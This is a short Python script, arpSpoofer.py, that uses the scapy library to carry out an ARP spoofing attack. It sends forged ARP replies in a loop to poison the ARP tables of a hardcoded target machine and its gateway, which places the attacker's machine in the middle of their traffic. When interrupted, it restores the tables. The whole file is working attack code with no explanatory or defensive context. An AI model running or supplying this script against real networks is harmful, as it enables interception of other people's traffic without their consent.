arpSpoofer.py

import scapy.all as scapy
import time


def get_mac(ip):
    arpRequest = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arpRequest_broadcast = broadcast / arpRequest
    answeredList = scapy.srp(arpRequest_broadcast, timeout=5, verbose=False)[0]
    if answeredList:
        return answeredList[0][1].hwsrc
    else:
        return None


def spoof(targetIP, spoof_ip):
    packet = scapy.ARP(op=2, pdst=targetIP, hwdst=get_mac(targetIP), psrc=spoof_ip)
    scapy.send(packet, verbose=False)


def restore(destination_ip, source_ip):
    destinationMAC = get_mac(destination_ip)
    sourceMAC = get_mac(source_ip)
    packet = scapy.ARP(
        op=2,
        pdst=destination_ip,
        hwdst=destinationMAC,
        psrc=source_ip,
        hwsrc=sourceMAC,
    )# router is at this mac address
    scapy.send(packet, count=4, verbose=False)


targetIP = "192.168.33.248"
gatewayIP = "192.168.33.31"
# ip route show | grep -i 'default via'| awk '{print $3 }' to find the host ip

try:
    sent_packets_count = 0
    while True:
        spoof(targetIP, gatewayIP)
        spoof(gatewayIP, targetIP)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent " + str(sent_packets_count), end="")
        time.sleep(2)  # Waits for two seconds

except KeyboardInterrupt:
    print("\nCtrl + C Detected.............resetting ARP Tables........................Exiting")
    restore(targetIP, gatewayIP)
    restore(gatewayIP, targetIP)
    print("[+] Arp Spoof Stopped")